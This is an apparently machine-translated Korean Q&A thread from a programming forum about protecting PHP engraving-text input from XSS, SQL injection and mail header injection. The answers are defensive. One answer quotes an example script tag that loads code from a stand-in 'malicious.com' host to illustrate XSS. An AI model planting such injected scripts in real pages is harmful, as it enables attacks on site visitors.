2012-03-19 3 views
2

입력 내용이 단순히 세션 쿠키에 저장되는 경우 텍스트 영역의 사용자 입력으로부터 자신을 보호하기 위해 특별한 조치를 취해야합니까?사용자 텍스트 입력에 대한 보호

사용자 정의 텍스트로 새겨 져있는 제품을 판매하고 있습니다. 사용자는 텍스트 영역에 새겨 넣을 텍스트를 "가정"하여이 텍스트를 선택한 항목과 함께 세션 쿠키에 저장합니다. & 다른 데이터.

지금은 세션 쿠키에 저장하기 전에 nl2br을 사용하고 페이지에 다시 표시하면 stripslashes가 사용됩니다.

악성 코드 (htmlentities 등)로부터 자신을 보호하기 위해 다른 작업을 수행해야합니까? 귀하의 의견

덕분에 (웃기려는 의도가 없으며!)

+0

문제가 생기지 않는 한, 왜 묻는거야? 니가하는 일에 대해 알고 있니? – hakre

+0

해킹 시도 등으로 자신을 열어 둘지 모르겠다. 어떻게 할 수 있니? – JROB

+1

조각 기계에 특정 문자열을 전달하면 보안 문제가 발생할 수 있습니다. 어떤 모델을 사용하고 있습니까? – hakre

답변

4

az 0-9와 같은 특정 문자 만 허용하려는 경우 입력의 유효성을 검사하십시오. <>과 같은 문자를 원하지 않으면 유효성을 검사하십시오.

일반적으로 입력 한 내용을 저장하고 페이지 나 다른 매체에 인쇄하기 전에 처리하십시오. 처리함으로써, 나는 nl2br()htmlentities()을 통해 그것을 실행하는 것을 의미합니다.

일반적으로 HTML 등으로 처리되지 않는 중립적 인 형식으로 데이터를 저장하는 것이 좋습니다. XML, 웹 서비스와 같은 미래의 다른 형식으로 데이터를 출력 할 수 있기 때문입니다. 다르게 처리됩니다.

쿠키가 아닌 세션 변수에 저장하십시오. 세션 변수는 서버에 저장되며 브라우저 나 다른 사람이 액세스 할 수 없습니다. 쿠키에 저장하면 변경 될 수 있으므로 변경할 수 있으므로 액세스 할 때마다 입력을 다시 확인해야합니다.

데이터를 데이터베이스에 저장하는 경우 SQL 주입을 위해이 데이터를 이스케이프 처리해야합니다. 이 방법은 데이터베이스와의 인터페이스에 사용되는 라이브러리에 따라 다르지만 매개 변수가있는 쿼리 나 준비된 문이 바람직합니다.

+0

"데이터를 중립적 인 형식으로 저장"- 좋은 점! +1 – Philip

+0

데이터를 중립적 인 형태로 저장한다는 것은 해당 데이터를 표시하는 모든 사람이 다음을 수행해야 함을 의미합니다. a) 데이터가 악의적 일 수 있으며 b) 매번 보안이 올바르게 수행되어야 함을 의미합니다. 하지만 이전에 HTML 용으로 처리 된 데이터를 처리했으며 귀하가 옳다고 생각합니다. – Noumenon

2

공격의 첫 번째 가장 확실한 기회가 직접 HTML 입력 될 것이다. 귀하의 텍스트 영역에 <script src="http://malicious.com/ddos.js" />을 입력했다고 상상해보십시오. PHP 코드가 .js 코드를 실행하는 방식으로 결과를 출력합니까?

둘째, 데이터는 조각사에게 어떻게 전달됩니까? 가장 일반적으로 사용되는 것은 나중에 사용하기 위해 데이터베이스에 저장되거나 조각사 작업 대기열에 이메일로 전송되는 것입니다.

데이터베이스에 두는 경우 PDO와 같은 래퍼를 살펴보고 클리닝 입력을 처리 할 수 ​​있습니다.

자신이나 다른 사람에게 이메일로 보내는 경우 위험한 정보를 입력하지 않도록주의해야합니다. php의 mail() 함수는 automaticlly $message이 헤더를 변경하지 못하도록합니다. http://www.php.net/manual/en/function.mail.php

다른 방법이 있다면 알려 주시기 바랍니다. 다른 문제가있을 수 있습니다.

1

텍스트 상자에 변수를 표시하기 전에 htmlspecialchars()을 실행해야합니다.

이렇게하면 악의적 인 HTML 코드가 실행되는 대신 텍스트 영역 내에 안전하게 표시됩니다.

변수를 표시하는 다른 모든 장소 (예 : 전자 메일 또는 관리 인터페이스에서 htmlspecialchars()도 실행해야합니다.

Simularly 또한 데이터베이스에 저장하면 변수를 이스케이프 처리해야하므로 사용자가 데이터베이스 쿼리를 혼란스럽게 만들 수 없습니다.

(표시에 따라 htmlspecialchars()을 수행하는 또 다른 방법은,이 세션 변수에 저장되기 전에 사용자의 입력에 strip_tags()를 실행. 그러나 생각보다 강력한 방법입니다 위의 제안 디스플레이에 입력을 살균 할 것, IMHO)

관련 문제